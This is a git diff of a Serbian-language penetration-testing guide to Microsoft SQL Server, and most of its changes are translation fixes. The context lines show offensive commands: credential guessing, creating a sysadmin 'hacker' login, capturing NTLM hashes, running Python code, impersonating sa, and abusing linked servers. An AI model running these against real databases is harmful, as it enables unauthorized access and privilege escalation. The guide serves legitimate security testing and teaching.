diff --git a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index d25b5b830..f7668fd3f 100644 --- a/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -38,8 +38,8 @@ Sa [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server): * **master Baza podataka**: Ova baza podataka je ključna jer beleži sve sistemske detalje za SQL Server instancu. * **msdb Baza podataka**: SQL Server Agent koristi ovu bazu podataka za upravljanje rasporedom za alarme i poslove. * **model Baza podataka**: Deluje kao plan za svaku novu bazu podataka na SQL Server instanci, gde se sve izmene poput veličine, kolacije, modela oporavka i još mnogo toga odražavaju u novokreiranim bazama podataka. -* **Resource Baza podataka**: Baza podataka samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Serverom. Ovi objekti, iako su fizički smešteni u Resource bazi podataka, logički su predstavljeni u sys šemi svake baze podataka. -* **tempdb Baza podataka**: Služi kao privremeno skladište za prolazne objekte ili međurezultate. +* **Resource Baza podataka**: Baza podataka samo za čitanje koja sadrži sistemske objekte koji dolaze sa SQL Server-om. Ovi objekti, iako su fizički smešteni u Resource bazi podataka, logički su predstavljeni u sys šemi svake baze podataka. +* **tempdb Baza podataka**: Služi kao privremeni prostor za skladištenje prolaznih objekata ili međurezultata. ## Enumeracija @@ -51,7 +51,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` {% hint style="info" %} -Ako **nemate** **akreditiv** možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta ne uspete da se prijavite koristeći postojeće korisničko ime. +Ako **nemate** **akreditive**, možete pokušati da ih pogodite. Možete koristiti nmap ili metasploit. Budite oprezni, možete **blokirati naloge** ako nekoliko puta zaredom ne uspete da se prijavite koristeći postojeće korisničko ime. {% endhint %} #### Metasploit (potrebni akreditivi) @@ -126,6 +126,11 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create #Create user with sysadmin privs CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!' EXEC sp_addsrvrolemember 'hacker', 'sysadmin' + +#Enumerate links +enum_links +#Use a link +use_link [NAME] ``` #### Dobij korisnika @@ -233,7 +238,7 @@ sudo impacket-smbserver share ./ -smb2support msf> use auxiliary/admin/mssql/mssql_ntlm_stealer ``` {% hint style="warning" %} -Možete proveriti ko (osim sysadmin-a) ima dozvole da pokreće te MSSQL funkcije sa: +Možete proveriti ko (osim sysadmins) ima dozvole da pokreće te MSSQL funkcije sa: ```sql Use master; EXEC sp_helprotect 'xp_dirtree'; @@ -300,7 +305,7 @@ Primer pokušaja izvršavanja **'R'** _"Hellow World!"_ **ne radi**: ![](<../../.gitbook/assets/image (393).png>) -Primer korišćenja konfigurisanog Pythona za obavljanje više akcija: +Primer korišćenja konfigurisanog Pythona za izvođenje nekoliko akcija: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' @@ -415,6 +420,11 @@ WHERE a.permission_name = 'IMPERSONATE' EXECUTE AS LOGIN = 'sa' SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') + +# If you can't find any users, make sure to check for links +enum_links +# If there is a link of interest, re-run the above steps on each link +use_link [NAME] ``` {% hint style="info" %} Ako možete da se pretvarate da ste korisnik, čak i ako on nije sysadmin, trebalo bi da proverite **da li korisnik ima pristup** drugim **baza podataka** ili povezanih servera. @@ -450,15 +460,15 @@ Napadač može da ekstrakuje lozinke SQL Server Linked Servers iz SQL instanci i Neki zahtevi i konfiguracije moraju biti izvršeni kako bi ovaj exploit radio. Prvo, morate imati administratorska prava na mašini, ili mogućnost upravljanja SQL Server konfiguracijama. -Nakon što potvrdite svoja prava, potrebno je konfigurisati tri stvari, a to su: +Nakon što potvrdite svoja prava, potrebno je da konfigurišete tri stvari, a to su: -1. Omogućiti TCP/IP na SQL Server instancama; -2. Dodati Start Up parametar, u ovom slučaju, biće dodat trace flag, koji je -T7806. -3. Omogućiti udaljenu administratorsku konekciju. +1. Omogućite TCP/IP na SQL Server instancama; +2. Dodajte Start Up parametar, u ovom slučaju, biće dodat trace flag, koji je -T7806. +3. Omogućite udaljenu administratorsku konekciju. -Da automatizujete ove konfiguracije, [ova repozitorijum](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, repozitorijum takođe ima kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki. +Da automatizujete ove konfiguracije, [ova repozitorija](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ima potrebne skripte. Pored toga što ima powershell skriptu za svaki korak konfiguracije, repozitorija takođe ima kompletnu skriptu koja kombinuje skripte za konfiguraciju i ekstrakciju i dekripciju lozinki. -Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Dekripcija MSSQL baze podataka Link Server lozinki](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Za dodatne informacije, pogledajte sledeće linkove u vezi sa ovim napadom: [Dekripcija lozinki MSSQL baze podataka Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Troubleshooting SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) @@ -488,6 +498,7 @@ Verovatno ćete moći da **eskalirate na Administratora** prateći jednu od ove * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group** +* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)